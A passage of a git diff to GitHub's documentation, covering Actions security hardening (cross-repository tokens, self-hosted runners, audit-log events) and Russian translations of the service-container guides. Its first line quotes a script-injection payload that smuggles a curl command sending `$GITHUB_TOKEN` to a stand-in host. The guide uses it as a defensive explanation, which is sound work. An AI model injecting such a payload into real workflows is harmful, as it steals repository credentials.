`a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. + +### Modifying the contents of a repository + +The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). + +## Considering cross-repository access + +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. + +We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. + +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: + +1. **The `GITHUB_TOKEN`** + - This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - The `GITHUB_TOKEN` should be used whenever possible. +2. **Repository deploy key** + - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." + - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +3. **{% data variables.product.prodname_github_app %} tokens** + - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +4. **{% data variables.product.pat_generic %}s** + - You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. + - If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +5. **SSH keys on a personal account** + - Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. + +## Hardening for self-hosted runners + +{% ifversion fpt or ghec %} +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. +{% endif %} + +{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. + +{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. + +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + +You should also consider the environment of the self-hosted runner machines: +- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. + +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. + +### Planning your management strategy for self-hosted runners + +A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: + +**Centralized management:** + - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. + - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. + +**Decentralized management:** + - If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. + - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. + +{% ifversion fpt or ghec or ghes > 3.4 %} +### Authenticating to your cloud provider + +If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)." + +{% endif %} + +## Auditing {% data variables.product.prodname_actions %} events + +You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which personal account performed the action. + +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: + ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) + +The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see +"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)" and "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)." + +{% ifversion fpt or ghec %} +### Events for environments + +| Action | Description +|------------------|------------------- +| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +{% endif %} + +{% ifversion fpt or ghes or ghec %} +### Events for configuration changes +| Action | Description +|------------------|------------------- +| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." +| `repo.update_actions_access_settings` | Triggered when the setting to control how your repository is used by {% data variables.product.prodname_actions %} workflows in other repositories is changed. +{% endif %} + +### Events for secret management +| Action | Description +|------------------|------------------- +| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. + +### Events for self-hosted runners +| Action | Description +|------------------|------------------- +| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." +| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." +| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). +| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." +| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." + +### Events for self-hosted runner groups +| Action | Description +|------------------|------------------- +| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." +| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. +| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." + +### Events for workflow activities + +{% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/ru-RU/content/actions/using-containerized-services/about-service-containers.md b/translations/ru-RU/content/actions/using-containerized-services/about-service-containers.md new file mode 100644 index 000000000000..1cf643448d93 --- /dev/null +++ b/translations/ru-RU/content/actions/using-containerized-services/about-service-containers.md @@ -0,0 +1,127 @@ +--- +title: Сведения о контейнерах служб +intro: 'Контейнеры служб можно использовать для подключения баз данных, веб-служб, кэшей памяти и других инструментов к рабочему процессу.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/about-service-containers + - /actions/configuring-and-managing-workflows/about-service-containers + - /actions/guides/about-service-containers +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Containers + - Docker +ms.openlocfilehash: 67bfb403bb18f7364e000170ce71f9387d4ada69 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145121123' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о контейнерах служб + +Контейнеры служб представляют собой контейнеры Docker, которые предоставляют простой портативный способ размещения служб, которые вам могут потребоваться для тестирования или эксплуатации приложения в рабочем процессе. Например, рабочему процессу может потребоваться выполнить тесты интеграции, требующие доступа к базе данных и кэшу памяти. + +Контейнеры служб можно настроить для каждого задания в рабочем процессе. {% data variables.product.prodname_dotcom %} создает новый контейнер Docker для каждой службы, настроенной в рабочем процессе, и уничтожает контейнер службы после завершения задания. Действия в задании могут взаимодействовать со всеми контейнерами служб, которые включены в одно задание. Однако нельзя создавать и использовать контейнеры служб в рамках составного действия. + +{% data reusables.actions.docker-container-os-support %} + +## Взаимодействие с контейнерами служб + +Задания в рабочем процессе можно настроить для выполнения непосредственно на компьютере средства выполнения тестов или в контейнере Docker. Обмен данными между заданием и его контейнерами служб может варьироваться в зависимости от того, выполняется ли задание непосредственно на компьютере средства выполнения тестов или в контейнере. + +### Выполнение заданий в контейнере + +При выполнении заданий в контейнере {% data variables.product.prodname_dotcom %} подключает контейнеры служб к заданию с помощью определяемых пользователем сетей моста Docker. Дополнительные сведения см. в разделе [Использование сетей моста](https://docs.docker.com/network/bridge/) в документации по Docker. + +Выполнение задания и служб в контейнере упрощает сетевой доступ. Вы можете получить доступ к контейнеру службы с помощью метки, настроенной в рабочем процессе. Имя узла контейнера службы автоматически сопоставляется с именем метки. Например, если вы создаете контейнер службы с меткой `redis`, имя узла контейнера службы будет `redis`. + +Вам не потребуется настраивать порты для контейнеров служб. По умолчанию все контейнеры, которые являются частью одной сети Docker, предоставляют все порты друг другу, однако порты не предоставляются за пределами сети Docker. + +### Выполнение заданий на компьютере средства выполнения тестов + +При выполнении заданий непосредственно на компьютере средства выполнения тестов можно получить доступ к контейнерам служб с помощью `localhost:` или `127.0.0.1:`. {% data variables.product.prodname_dotcom %} настраивает сеть контейнеров для включения связи между контейнером службы и узлом Docker. + +Когда задание выполняется непосредственно на компьютере средства выполнения тестов, служба, запущенная в контейнере Docker, по умолчанию не предоставляет свои порты заданию в средстве выполнения тестов. Необходимо сопоставить порты в контейнере службы с узлом Docker. Дополнительные сведения см. в разделе [Сопоставление портов узла Docker и контейнеров служб](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports). + +## Создание контейнеров служб + +Ключевое слово `services` можно использовать для создания контейнеров служб, которые являются частью задания в рабочем процессе. Дополнительные сведения см. на веб-сайте [`jobs..services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices). + +В этом примере создается служба, вызываемая `redis` в задании, вызываемом `container-job`. В этом примере узел Docker является контейнером `node:16-bullseye`. + +{% raw %} +```yaml{:copy} +name: Redis container example +on: push + +jobs: + # Label of the container job + container-job: + # Containers must run in Linux based operating systems + runs-on: ubuntu-latest + # Docker Hub image that `container-job` executes in + container: node:16-bullseye + + # Service containers to run with `container-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis +``` +{% endraw %} + +## Сопоставление портов узла Docker и контейнеров служб + +Если задание выполняется в контейнере Docker, не требуется сопоставлять порты на узле или в контейнере службы. Если задание выполняется непосредственно на компьютере средства выполнения тестов, необходимо сопоставить все необходимые порты контейнера службы с портами на хост-компьютере средства выполнения тестов. + +Вы можете сопоставить порты контейнеров служб с узлом Docker с помощью ключевого слова `ports`. Дополнительные сведения см. на веб-сайте [`jobs..services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices). + +| Значение параметра `ports` | Описание | +|------------------|--------------| +| `8080:80` | Сопоставляет TCP-порт 80 в контейнере с портом 8080 на узле Docker. | +| `8080:80/udp` | Сопоставляет UDP-порт 80 в контейнере с портом 8080 на узле Docker. | +| `8080/udp` | Сопоставьте случайно выбранный порт UDP в контейнере с портом UDP 8080 на узле Docker. | + +При сопоставлении портов с помощью ключевого слова `ports` {% data variables.product.prodname_dotcom %} использует команду `--publish` для публикации портов контейнера на узле Docker. Дополнительные сведения см. в разделе [Сеть контейнеров Docker](https://docs.docker.com/config/containers/container-networking/) в документации по Docker. + +При указании порта узла Docker (но не порта контейнера) порт контейнера случайным образом назначается свободному порту. {% data variables.product.prodname_dotcom %} задает назначенный порт контейнера в контексте контейнера службы. Например, если для контейнера службы `redis` настроен порт узла Docker 5432, можно получить доступ к соответствующему порту контейнера с помощью контекста `job.services.redis.ports[5432]`. Дополнительные сведения см. в разделе «[Контексты](/actions/learn-github-actions/contexts#job-context)». + +### Пример сопоставления портов Redis + +В этом примере порт контейнера службы `redis` 6379 сопоставляется с портом узла Docker 6379. + +{% raw %} +```yaml{:copy} +name: Redis Service Example +on: push + +jobs: + # Label of the container job + runner-job: + # You must use a Linux environment when using service containers or container jobs + runs-on: ubuntu-latest + + # Service containers to run with `runner-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis + # + ports: + # Opens tcp port 6379 on the host and service container + - 6379:6379 +``` +{% endraw %} + +## Дополнительные материалы + +- [Создание контейнеров служб Redis](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers) +- [Создание контейнеров служб PostgreSQL](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers) diff --git a/translations/ru-RU/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/ru-RU/content/actions/using-containerized-services/creating-postgresql-service-containers.md new file mode 100644 index 000000000000..90e30192632e --- /dev/null +++ b/translations/ru-RU/content/actions/using-containerized-services/creating-postgresql-service-containers.md @@ -0,0 +1,341 @@ +--- +title: Создание контейнеров служб PostgreSQL +shortTitle: Create PostgreSQL service containers +intro: 'Вы можете создать контейнер службы PostgreSQL, который будет использоваться в вашем рабочем процессе. В этом руководстве показаны примеры создания службы PostgreSQL для заданий, которые выполняются в контейнерах или непосредственно на компьютере средства выполнения тестов.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers + - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers + - /actions/guides/creating-postgresql-service-containers +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Containers + - Docker +ms.openlocfilehash: 12765e14ab1058a3332c112d26193525db310c75 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010064' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве приведены примеры рабочих процессов, которые настраивают контейнер службы с помощью образа Docker Hub`postgres`. Рабочий процесс запускает сценарий, который подключается к службе PostgreSQL, создает таблицу, а затем заполняет ее данными. Чтобы убедиться в том, что рабочий процесс создает и заполняет таблицу PostgreSQL, сценарий выводит данные из таблицы в консоль. + +{% data reusables.actions.docker-container-os-support %} + +## Предварительные требования + +{% data reusables.actions.service-container-prereqs %} + +Кроме того, вы можете получить общее представление о синтаксисе YAML для {% data variables.product.prodname_actions %} и PostgreSQL. Дополнительные сведения можно найти в разделе + +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» +- «Учебник по [PostgreSQL](https://www.postgresqltutorial.com/)» в документации по PostgreSQL + +## Выполнение заданий в контейнерах + +{% data reusables.actions.container-jobs-intro %} + +{% data reusables.actions.copy-workflow-file %} + +```yaml{:copy} +name: PostgreSQL service example +on: push + +jobs: + # Label of the container job + container-job: + # Containers must run in Linux based operating systems + runs-on: ubuntu-latest + # Docker Hub image that `container-job` executes in + container: node:10.18-jessie + + # Service containers to run with `container-job` + services: + # Label used to access the service container + postgres: + # Docker Hub image + image: postgres + # Provide the password for postgres + env: + POSTGRES_PASSWORD: postgres + # Set health checks to wait until postgres has started + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 + + steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to PostgreSQL + # Runs a script that creates a PostgreSQL table, populates + # the table with data, and then retrieves the data. + run: node client.js + # Environment variables used by the `client.js` script to create a new PostgreSQL table. + env: + # The hostname used to communicate with the PostgreSQL service container + POSTGRES_HOST: postgres + # The default PostgreSQL port + POSTGRES_PORT: 5432 +``` + +### Настройка задания средства выполнения тестов + +{% data reusables.actions.service-container-host %} + +{% data reusables.actions.postgres-label-description %} + +```yaml{:copy} +jobs: + # Label of the container job + container-job: + # Containers must run in Linux based operating systems + runs-on: ubuntu-latest + # Docker Hub image that `container-job` executes in + container: node:10.18-jessie + + # Service containers to run with `container-job` + services: + # Label used to access the service container + postgres: + # Docker Hub image + image: postgres + # Provide the password for postgres + env: + POSTGRES_PASSWORD: postgres + # Set health checks to wait until postgres has started + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 +``` + +### Настройка этапов + +{% data reusables.actions.service-template-steps %} + +```yaml{:copy} +steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to PostgreSQL + # Runs a script that creates a PostgreSQL table, populates + # the table with data, and then retrieves the data. + run: node client.js + # Environment variable used by the `client.js` script to create + # a new PostgreSQL client. + env: + # The hostname used to communicate with the PostgreSQL service container + POSTGRES_HOST: postgres + # The default PostgreSQL port + POSTGRES_PORT: 5432 +``` + +{% data reusables.actions.postgres-environment-variables %} + +Имя узла службы PostgreSQL — это метка, настроенная в рабочем процессе; в данном случае — `postgres`. Так как контейнеры Docker в той же пользовательской сети моста открывают все порты по умолчанию, вы можете получить доступ к контейнеру службы через стандартный порт PostgreSQL 5432. + +## Выполнение заданий непосредственно на компьютере средства выполнения тестов + +При запуске задания непосредственно на компьютере средства выполнения тестов необходимо сопоставить порты контейнера службы с портами на узле Docker. Вы можете получить доступ к контейнерам служб из узла Docker, используя `localhost` и номер порта узла Docker. + +{% data reusables.actions.copy-workflow-file %} + +```yaml{:copy} +name: PostgreSQL Service Example +on: push + +jobs: + # Label of the runner job + runner-job: + # You must use a Linux environment when using service containers or container jobs + runs-on: ubuntu-latest + + # Service containers to run with `runner-job` + services: + # Label used to access the service container + postgres: + # Docker Hub image + image: postgres + # Provide the password for postgres + env: + POSTGRES_PASSWORD: postgres + # Set health checks to wait until postgres has started + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 + ports: + # Maps tcp port 5432 on service container to the host + - 5432:5432 + + steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to PostgreSQL + # Runs a script that creates a PostgreSQL table, populates + # the table with data, and then retrieves the data + run: node client.js + # Environment variables used by the `client.js` script to create + # a new PostgreSQL table. + env: + # The hostname used to communicate with the PostgreSQL service container + POSTGRES_HOST: localhost + # The default PostgreSQL port + POSTGRES_PORT: 5432 +``` + +### Настройка задания средства выполнения тестов + +{% data reusables.actions.service-container-host-runner %} + +{% data reusables.actions.postgres-label-description %} + +Рабочий процесс сопоставляет порт 5432 в контейнере службы PostgreSQL с узлом Docker. Дополнительные сведения о ключевом слове `ports` см. в разделе «[Сведения о контейнерах служб](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)». + +```yaml{:copy} +jobs: + # Label of the runner job + runner-job: + # You must use a Linux environment when using service containers or container jobs + runs-on: ubuntu-latest + + # Service containers to run with `runner-job` + services: + # Label used to access the service container + postgres: + # Docker Hub image + image: postgres + # Provide the password for postgres + env: + POSTGRES_PASSWORD: postgres + # Set health checks to wait until postgres has started + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 + ports: + # Maps tcp port 5432 on service container to the host + - 5432:5432 +``` + +### Настройка этапов + +{% data reusables.actions.service-template-steps %} + +```yaml{:copy} +steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to PostgreSQL + # Runs a script that creates a PostgreSQL table, populates + # the table with data, and then retrieves the data + run: node client.js + # Environment variables used by the `client.js` script to create + # a new PostgreSQL table. + env: + # The hostname used to communicate with the PostgreSQL service container + POSTGRES_HOST: localhost + # The default PostgreSQL port + POSTGRES_PORT: 5432 +``` + +{% data reusables.actions.postgres-environment-variables %} + +{% data reusables.actions.service-container-localhost %} + +## Тестирование контейнера службы PostgreSQL + +Вы можете протестировать рабочий процесс с помощью следующего 